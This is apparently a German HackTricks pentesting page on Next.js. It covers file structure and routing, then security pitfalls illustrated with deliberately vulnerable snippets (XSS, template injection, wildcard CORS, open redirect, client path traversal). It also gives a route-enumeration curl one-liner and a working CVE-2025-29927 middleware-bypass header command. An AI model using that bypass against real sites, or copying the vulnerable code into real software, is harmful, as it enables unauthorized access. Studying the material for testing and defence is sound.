NextJS

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Allgemeine Architektur einer Next.js-Anwendung

Typische Dateistruktur

Ein standardmäßiges Next.js-Projekt folgt einer bestimmten Datei- und Verzeichnisstruktur, die Funktionen wie Routing, API-Endpunkte und die Verwaltung statischer Assets erleichtert. Hier ist ein typisches Layout:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Wichtige Verzeichnisse und Dateien

  • public/: Hält statische Assets wie Bilder, Fonts und andere Dateien bereit. Dateien hier sind unter dem Root-Pfad (/) zugänglich.
  • app/: Zentrales Verzeichnis für die Seiten, Layouts, Komponenten und API-Routen deiner Anwendung. Nutzt das App Router-Paradigma und ermöglicht erweiterte Routing-Funktionen sowie die Trennung von Server- und Client-Komponenten.
  • app/layout.tsx: Definiert das Root-Layout deiner Anwendung und umschließt alle Seiten, sodass konsistente UI-Elemente wie Header, Footer und Navigationsleisten bereitgestellt werden.
  • app/page.tsx: Dient als Einstiegspunkt für die Root-Route / und rendert die Startseite.
  • app/[route]/page.tsx: Behandelt statische und dynamische Routen. Jeder Ordner innerhalb von app/ repräsentiert ein Route-Segment, und die jeweilige page.tsx in diesen Ordnern entspricht der Komponente für diese Route.
  • app/api/: Enthält API-Routen, mit denen du serverlose Funktionen erstellen kannst, die HTTP-Requests verarbeiten. Diese Routen ersetzen das traditionelle pages/api-Verzeichnis.
  • app/components/: Beinhaltet wiederverwendbare React-Komponenten, die in verschiedenen Seiten und Layouts genutzt werden können.
  • app/styles/: Enthält globale CSS-Dateien und CSS Modules für komponentenspezifisches Styling.
  • app/utils/: Enthält Utility-Funktionen, Hilfsmodule und andere nicht-UI-Logik, die in der gesamten Anwendung geteilt werden können.
  • .env.local: Speichert Umgebungsvariablen, die speziell für die lokale Entwicklungsumgebung gelten. Diese Variablen werden nicht in die Versionskontrolle aufgenommen.
  • next.config.js: Passt das Verhalten von Next.js an, einschließlich webpack-Konfigurationen, Umgebungsvariablen und Sicherheitseinstellungen.
  • tsconfig.json: Konfiguriert TypeScript-Einstellungen für das Projekt und ermöglicht Typprüfung sowie andere TypeScript-Funktionen.
  • package.json: Verwaltert Projektabhängigkeiten, Skripte und Metadaten.
  • README.md: Bietet Dokumentation und Informationen zum Projekt, einschließlich Installationsanweisungen, Nutzungsrichtlinien und anderer relevanter Details.
  • yarn.lock / package-lock.json: Sperrt die Projektabhängigkeiten auf spezifische Versionen und sorgt so für konsistente Installationen in unterschiedlichen Umgebungen.

Client-Seite in Next.js

Dateibasierte Routenbildung im app-Verzeichnis

Das app-Verzeichnis ist der Eckpfeiler des Routings in den aktuellen Next.js-Versionen. Es nutzt das Dateisystem zur Definition von Routen, wodurch die Verwaltung von Routen intuitiv und skalierbar wird.

Umgang mit dem Root-Pfad /

Dateistruktur:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Wichtige Dateien:

  • app/page.tsx: Verarbeitet Anfragen an den Root-Pfad /.
  • app/layout.tsx: Definiert das Layout für die Anwendung und umschließt alle Seiten.

Implementierung:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Erklärung:

  • Route Definition: Die Datei page.tsx direkt im Verzeichnis app entspricht der Route /.
  • Rendering: Diese Komponente rendert den Inhalt der Startseite.
  • Layout Integration: Die HomePage-Komponente wird von layout.tsx umschlossen, das Kopfzeilen, Fußzeilen und andere gemeinsame Elemente enthalten kann.
Umgang mit anderen statischen Pfaden

Beispiel: /about-Route

Dateistruktur:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementierung:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Erläuterung:

  • Routen-Definition: Die Datei page.tsx im Ordner about entspricht der Route /about.
  • Rendering: Diese Komponente rendert den Inhalt der About-Seite.
Dynamische Routen

Dynamische Routen ermöglichen das Verarbeiten von Pfaden mit variablen Segmenten und erlauben Anwendungen, Inhalte basierend auf Parametern wie IDs, Slugs usw. anzuzeigen.

Beispiel: /posts/[id] Route

Dateistruktur:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementierung:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Erklärung:

  • Dynamisches Segment: [id] kennzeichnet ein dynamisches Segment in der Route und erfasst den id-Parameter aus der URL.
  • Zugriff auf Parameter: Das params-Objekt enthält die dynamischen Parameter und ist innerhalb der Komponente zugänglich.
  • Routenabgleich: Jeder Pfad, der /posts/* entspricht, wie z. B. /posts/1, /posts/abc usw., wird von dieser Komponente verarbeitet.
Verschachtelte Routen

Next.js unterstützt verschachtelte Routen und ermöglicht hierarchische Routestrukturen, die das Verzeichnislayout widerspiegeln.

Beispiel: Route /dashboard/settings/profile

Dateistruktur:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementierung:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Erklärung:

  • Tiefes Verschachteln: Die Datei page.tsx in dashboard/settings/profile/ entspricht der Route /dashboard/settings/profile.
  • Abbildung der Hierarchie: Die Verzeichnisstruktur spiegelt den URL-Pfad wider und verbessert dadurch Wartbarkeit und Übersichtlichkeit.
Catch-All-Routen

Catch-All-Routen behandeln mehrere verschachtelte Segmente oder unbekannte Pfade und bieten Flexibilität bei der Routenbehandlung.

Beispiel: /* Route

Dateistruktur:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementierung:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Erklärung:

  • Catch-All-Segment: [...slug] erfasst alle verbleibenden Pfadsegmente als Array.
  • Verwendung: Nützlich zur Handhabung von dynamischen Routing-Szenarien wie von Benutzern erstellten Pfaden, verschachtelten Kategorien usw.
  • Routenabgleich: Pfade wie /anything/here, /foo/bar/baz usw. werden von dieser Komponente verarbeitet.

Potenzielle clientseitige Schwachstellen

Obwohl Next.js eine sichere Grundlage bietet, können unsachgemäße Programmierpraktiken Schwachstellen einführen. Zu den wichtigsten clientseitigen Schwachstellen gehören:

Cross-Site Scripting (XSS)

XSS-Angriffe treten auf, wenn bösartige Skripte in vertrauenswürdige Websites eingeschleust werden. Angreifer können Skripte im Browser der Nutzer ausführen, Daten stehlen oder Aktionen im Namen des Nutzers durchführen.

Beispiel für verwundbaren Code:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Warum es verwundbar ist: Die Verwendung von dangerouslySetInnerHTML mit nicht vertrauenswürdigen Eingaben erlaubt es Angreifern, bösartige Skripte einzuschleusen.

Client-Side Template Injection

Wenn Benutzereingaben in Templates nicht korrekt behandelt werden, können Angreifer Templates oder Ausdrücke injizieren und ausführen.

Beispiel für verwundbaren Code:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Warum es anfällig ist: Wenn template oder data bösartigen Inhalt enthält, kann dies zur Ausführung von unbeabsichtigtem Code führen.

Client Path Traversal

Es handelt sich um eine Schwachstelle, die es Angreifern ermöglicht, clientseitige Pfade zu manipulieren, um unbeabsichtigte Aktionen auszuführen, wie zum Beispiel Cross-Site Request Forgery (CSRF). Im Gegensatz zu server-side path traversal, das auf das Dateisystem des Servers abzielt, konzentriert sich CSPT darauf, clientseitige Mechanismen auszunutzen, um legitime API-Anfragen an bösartige Endpunkte umzuleiten.

Beispiel für verwundbaren Code:

Eine Next.js-Anwendung erlaubt es Benutzern, Dateien hoch- und herunterzuladen. Die Download-Funktion ist clientseitig implementiert, wobei Benutzer den Dateipfad angeben können, der heruntergeladen werden soll.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Angriffsszenario

  1. Ziel des Angreifers: Führe einen CSRF-Angriff aus, um eine kritische Datei (z. B. admin/config.json) durch Manipulation des filePath zu löschen.
  2. Ausnutzung von CSPT:
  • Bösartige Eingabe: Der Angreifer erstellt eine URL mit einem manipulierten filePath, z. B. ../deleteFile/config.json.
  • Resultierende API-Anfrage: Der clientseitige Code sendet eine Anfrage an /api/files/../deleteFile/config.json.
  • Serverseitige Verarbeitung: Wenn der Server den filePath nicht validiert, verarbeitet er die Anfrage und löscht möglicherweise oder legt sensible Dateien offen.
  1. Durchführung eines CSRF-Angriffs:
  • Gefälschter Link: Der Angreifer sendet dem Opfer einen Link oder bettet ein bösartiges Skript ein, das die Download-Anfrage mit dem manipulierten filePath auslöst.
  • Ergebnis: Das Opfer führt die Aktion unwissentlich aus, was zu unbefugtem Zugriff auf Dateien oder deren Löschung führt.

Recon: Erkennung statischer Export-Routen via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Hole die buildId aus der root response (häufig am Ende angezeigt) oder aus <script>-Tags, die /_next/static/<buildId>/... laden.
  • Hole das Manifest und extrahiere die Routen:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Verwende die entdeckten Pfade (z. B. /docs, /docs/content/examples, /signin), um auth testing und endpoint discovery voranzutreiben.

Serverseitig in Next.js

Serverseitiges Rendering (SSR)

Seiten werden bei jeder Anfrage auf dem Server gerendert, wodurch der Nutzer vollständig gerendertes HTML erhält. In diesem Fall solltest du einen eigenen Custom-Server erstellen, um die Anfragen zu verarbeiten.

Anwendungsfälle:

  • Dynamische Inhalte, die sich häufig ändern.
  • SEO-Optimierung, da Suchmaschinen die vollständig gerenderte Seite crawlen können.

Implementierung:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Statische Seitengenerierung (SSG)

Seiten werden zur Build-Zeit vorgerendert, was zu schnelleren Ladezeiten und reduzierter Serverlast führt.

Anwendungsfälle:

  • Inhalte, die sich nicht häufig ändern.
  • Blogs, Dokumentation, Marketing-Seiten.

Implementierung:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Serverless-Funktionen (API Routes)

Next.js erlaubt die Erstellung von API-Endpunkten als Serverless-Funktionen. Diese Funktionen werden bei Bedarf ausgeführt, ohne dass ein dedizierter Server erforderlich ist.

Anwendungsfälle:

  • Verarbeitung von Formularübermittlungen.
  • Interaktion mit Datenbanken.
  • Datenverarbeitung oder Integration mit Drittanbieter-APIs.

Implementierung:

Mit der Einführung des app-Verzeichnisses in Next.js 13 sind Routing und API-Handling flexibler und leistungsfähiger geworden. Dieser moderne Ansatz entspricht eng dem dateibasierten Routing-System, bringt jedoch erweiterte Möglichkeiten, einschließlich Unterstützung für Server- und Client-Komponenten.

Grundlegender Route-Handler

Dateistruktur:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementierung:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Erklärung:

  • Ort: API-Routen befinden sich im Verzeichnis app/api/.
  • Dateibenennung: Jeder API-Endpunkt liegt in einem eigenen Ordner, der eine route.js- oder route.ts-Datei enthält.
  • Exportierte Funktionen: Anstelle eines einzelnen default exports werden spezifische HTTP-Methodenfunktionen (z. B. GET, POST) exportiert.
  • Response-Verarbeitung: Verwende den Response-Konstruktor, um Antworten zurückzugeben, wodurch du mehr Kontrolle über Header und Statuscodes hast.

Wie man andere Pfade und Methoden behandelt:

Umgang mit spezifischen HTTP-Methoden

Next.js 13+ erlaubt es dir, Handler für spezifische HTTP-Methoden innerhalb derselben route.js- oder route.ts-Datei zu definieren, was zu klarerem und besser organisiertem Code führt.

Beispiel:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Erklärung:

  • Mehrere Exporte: Jede HTTP-Methode (GET, PUT, DELETE) hat ihre eigene exportierte Funktion.
  • Parameter: Das zweite Argument ermöglicht Zugriff auf Routenparameter über params.
  • Erweiterte Antworten: Größere Kontrolle über Antwortobjekte, wodurch präzise Header- und Statuscode-Verwaltung möglich ist.
Catch-All und verschachtelte Routen

Next.js 13+ unterstützt erweiterte Routing-Funktionen wie Catch-All-Routen und verschachtelte API-Routen, wodurch dynamischere und skalierbarere API-Strukturen möglich werden.

Beispiel für Catch-All-Route:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Erklärung:

  • Syntax: [...] bezeichnet ein Catch-all-Segment, das alle verschachtelten Pfade erfasst.
  • Verwendung: Nützlich für APIs, die Routen mit variabler Tiefe oder dynamische Segmente verarbeiten müssen.

Beispiel für verschachtelte Routen:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Erklärung:

  • Tiefe Verschachtelung: Ermöglicht hierarchische API-Strukturen, die Ressourcenbeziehungen widerspiegeln.
  • Parameterzugriff: Einfacher Zugriff auf mehrere Routenparameter über das params-Objekt.
Umgang mit API-Routen in Next.js 12 und früher

API-Routen im pages Verzeichnis (Next.js 12 und früher)

Bevor Next.js 13 das app-Verzeichnis und erweiterte Routing-Funktionen einführte, wurden API-Routen hauptsächlich im pages-Verzeichnis definiert. Dieser Ansatz wird in Next.js 12 und früheren Versionen weiterhin weit verbreitet verwendet und unterstützt.

Einfache API-Route

Dateistruktur:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Implementierung:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Erklärung:

  • Ort: API-Routen liegen im Verzeichnis pages/api/.
  • Export: Verwende export default, um die Handler-Funktion zu definieren.
  • Funktionssignatur: Der Handler erhält die Objekte req (HTTP-Anfrage) und res (HTTP-Antwort).
  • Routing: Der Dateiname (hello.js) entspricht dem Endpoint /api/hello.

Dynamische API-Routen

Dateistruktur:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Implementierung:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Erklärung:

  • Dynamische Segmente: Square brackets ([id].js) bezeichnen dynamische Routen-Segmente.
  • Zugriff auf Parameter: Verwende req.query.id, um auf den dynamischen Parameter zuzugreifen.
  • Methoden behandeln: Verwende bedingte Logik, um verschiedene HTTP-Methoden (GET, PUT, DELETE usw.) zu behandeln.

Umgang mit verschiedenen HTTP-Methoden

Während das grundlegende Beispiel für eine API-Route alle HTTP-Methoden in einer einzigen Funktion behandelt, kannst du deinen Code so strukturieren, dass jede Methode explizit behandelt wird, um die Lesbarkeit und Wartbarkeit zu verbessern.

Beispiel:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Beste Vorgehensweisen:

  • Trennung der Verantwortlichkeiten: Logik für verschiedene HTTP-Methoden klar trennen.
  • Antwortkonsistenz: Stellen Sie konsistente Antwortstrukturen sicher, um die clientseitige Verarbeitung zu erleichtern.
  • Fehlerbehandlung: Nicht unterstützte Methoden und unerwartete Fehler elegant behandeln.

CORS-Konfiguration

Kontrollieren Sie, welche Origins auf Ihre API-Routen zugreifen können, um Cross-Origin Resource Sharing (CORS)-Schwachstellen zu mindern.

Schlechtes Konfigurationsbeispiel:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Beachte, dass CORS auch in allen API routes in der Datei middleware.ts konfiguriert werden kann:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problem:

  • Access-Control-Allow-Origin: '*': Erlaubt jeder Website, auf die API zuzugreifen, wodurch potenziell bösartige Seiten ohne Einschränkungen mit deiner API interagieren können.
  • Breite Methodenfreigabe: Das Zulassen aller Methoden kann Angreifern ermöglichen, unerwünschte Aktionen durchzuführen.

Wie Angreifer es ausnutzen:

Angreifer können bösartige Websites erstellen, die Anfragen an deine API senden und dabei Funktionalitäten missbrauchen, z. B. das Abrufen von Daten, die Manipulation von Daten oder das Auslösen unerwünschter Aktionen im Namen authentifizierter Benutzer.

CORS - Misconfigurations & Bypass

Server-Code-Offenlegung auf der Client-Seite

Es ist leicht, Code, der auf dem Server verwendet wird, auch im clientseitig exponierten Code zu nutzen. Der beste Weg, sicherzustellen, dass eine Code-Datei niemals auf der Client-Seite exponiert wird, besteht darin, diesen Import am Anfang der Datei zu verwenden:

import "server-only"

Wichtige Dateien und ihre Rollen

middleware.ts / middleware.js

Standort: Root des Projekts oder innerhalb von src/.

Zweck: Führt Code in der server-side serverless function aus, bevor eine Anfrage verarbeitet wird, wodurch Aufgaben wie Authentifizierung, Weiterleitungen oder das Ändern von Antworten ermöglicht werden.

Ausführungsablauf:

  1. Eingehende Anfrage: Die Middleware fängt die Anfrage ab.
  2. Verarbeitung: Führt Operationen basierend auf der Anfrage aus (z. B. Authentifizierung prüfen).
  3. Antwortänderung: Kann die Antwort verändern oder die Kontrolle an den nächsten Handler weitergeben.

Beispielhafte Anwendungsfälle:

  • Weiterleitung nicht authentifizierter Benutzer.
  • Hinzufügen benutzerdefinierter Header.
  • Protokollierung von Anfragen.

Beispielkonfiguration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Wenn Autorisierung in der Middleware durchgesetzt wird, können betroffene Next.js-Releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) durch Injizieren des Headers x-middleware-subrequest umgangen werden. Das Framework überspringt die Middleware-Rekursion und liefert die geschützte Seite zurück.

  • Das Standardverhalten ist typischerweise eine 307-Weiterleitung zu einer Login-Route wie /api/auth/signin.
  • Sende einen langen x-middleware-subrequest-Wert (wiederhole middleware, um MAX_RECURSION_DEPTH zu erreichen), um die Antwort auf 200 zu drehen:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Da authentifizierte Seiten viele Subressourcen laden, füge den Header zu jeder Anfrage hinzu (z. B. Burp Match/Replace mit einem leeren Match-String), um zu verhindern, dass Assets weitergeleitet werden.

next.config.js

Location: Root des Projekts.

Purpose: Konfiguriert das Verhalten von Next.js, aktiviert oder deaktiviert Features, passt webpack-Konfigurationen an, setzt Umgebungsvariablen und konfiguriert mehrere Sicherheitsfunktionen.

Key Security Configurations:

Sicherheits-Header

Sicherheits-Header erhöhen die Sicherheit deiner Anwendung, indem sie Browser anweisen, wie mit Inhalten umgegangen werden soll. Sie helfen, verschiedene Angriffe wie Cross-Site Scripting (XSS), Clickjacking und MIME type sniffing zu mildern:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Beispiele:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Bildoptimierungseinstellungen

Next.js optimiert Bilder für die Performance, aber Fehlkonfigurationen können zu Sicherheitslücken führen, z. B. indem nicht vertrauenswürdige Quellen bösartigen Inhalt einschleusen.

Schlechtes Konfigurationsbeispiel:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problem:

  • '*': Ermöglicht das Laden von Bildern von beliebigen externen Quellen, einschließlich nicht vertrauenswürdiger oder bösartiger Domains. Angreifer können Bilder hosten, die bösartige Payloads enthalten oder Benutzer in die Irre führen.
  • Ein weiteres Problem kann sein, eine Domain zu erlauben, auf der jeder ein Bild hochladen kann (z. B. raw.githubusercontent.com)

Wie Angreifer es ausnutzen:

Durch das Einschleusen von Bildern aus bösartigen Quellen können Angreifer phishing attacks durchführen, irreführende Informationen anzeigen oder Schwachstellen in image rendering libraries exploitieren.

Environment Variables Exposure

Verwalten Sie sensible Informationen wie API keys und Datenbankzugangsdaten sicher, ohne sie dem Client preiszugeben.

a. Exposing Sensitive Variables

Bad Configuration Example:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

Problem:

  • SECRET_API_KEY: Ohne das Präfix NEXT_PUBLIC_ macht Next.js Variablen nicht für den Client verfügbar. Wird das Präfix jedoch versehentlich hinzugefügt (z. B. NEXT_PUBLIC_SECRET_API_KEY), wird die Variable auf der Client-Seite zugänglich.

How attackers abuse it:

Wenn sensible Variablen dem Client preisgegeben werden, können Angreifer sie durch Inspektion des clientseitigen Codes oder der Netzwerk-Anfragen abrufen und so unautorisierten Zugriff auf APIs, Datenbanken oder andere Dienste erlangen.

Weiterleitungen

Verwalten Sie URL-Weiterleitungen und -Umschreibungen innerhalb Ihrer Anwendung, um sicherzustellen, dass Benutzer angemessen weitergeleitet werden, ohne open redirect vulnerabilities einzuführen.

a. Open Redirect Vulnerability

Schlechtes Konfigurationsbeispiel:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problem:

  • Dynamisches Ziel: Ermöglicht es Benutzern, beliebige URLs anzugeben, wodurch open redirect attacks möglich werden.
  • Vertrauen in Benutzereingaben: Weiterleitungen zu von Benutzern bereitgestellten URLs ohne Validierung können zu phishing, malware distribution oder credential theft führen.

Wie Angreifer es missbrauchen:

Angreifer können URLs konstruieren, die so aussehen, als kämen sie von Ihrer Domain, aber Benutzer auf bösartige Sites umleiten. Zum Beispiel:

https://yourdomain.com/redirect?url=https://malicious-site.com

Benutzer, die der ursprünglichen Domain vertrauen, könnten unwissentlich auf schädliche Websites weitergeleitet werden.

Webpack-Konfiguration

Das Anpassen von Webpack-Konfigurationen für Ihre Next.js-Anwendung kann unbeabsichtigt Sicherheitslücken einführen, wenn es nicht vorsichtig gehandhabt wird.

a. Offenlegung sensibler Module

Schlechtes Konfigurationsbeispiel:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Problem:

  • Offenlegung sensibler Pfade: Aliasing sensibler Verzeichnisse und das Zulassen von clientseitigem Zugriff kann vertrauliche Informationen leaken.
  • Geheimnisse bündeln: Wenn sensitive Dateien für den Client gebündelt werden, werden deren Inhalte über source maps oder durch Inspektion des clientseitigen Codes zugänglich.

Wie Angreifer es ausnutzen:

Angreifer können auf die Verzeichnisstruktur der Anwendung zugreifen oder diese rekonstruieren und dabei möglicherweise sensible Dateien oder Daten finden und ausnutzen.

pages/_app.js und pages/_document.js

pages/_app.js

Zweck: Überschreibt die standardmäßige App-Komponente und ermöglicht globalen State, Styles und Layout-Komponenten.

Anwendungsfälle:

  • Einbinden globaler CSS.
  • Hinzufügen von Layout-Wrappern.
  • Integration von State-Management-Bibliotheken.

Beispiel:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Zweck: Überschreibt das standardmäßige Document und ermöglicht die Anpassung der HTML- und Body-Tags.

Anwendungsfälle:

  • Ändern der <html>- oder <body>-Tags.
  • Hinzufügen von Meta-Tags oder benutzerdefinierten Skripten.
  • Einbinden von Schriften von Drittanbietern.

Beispiel:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Benutzerdefinierter Server (Optional)

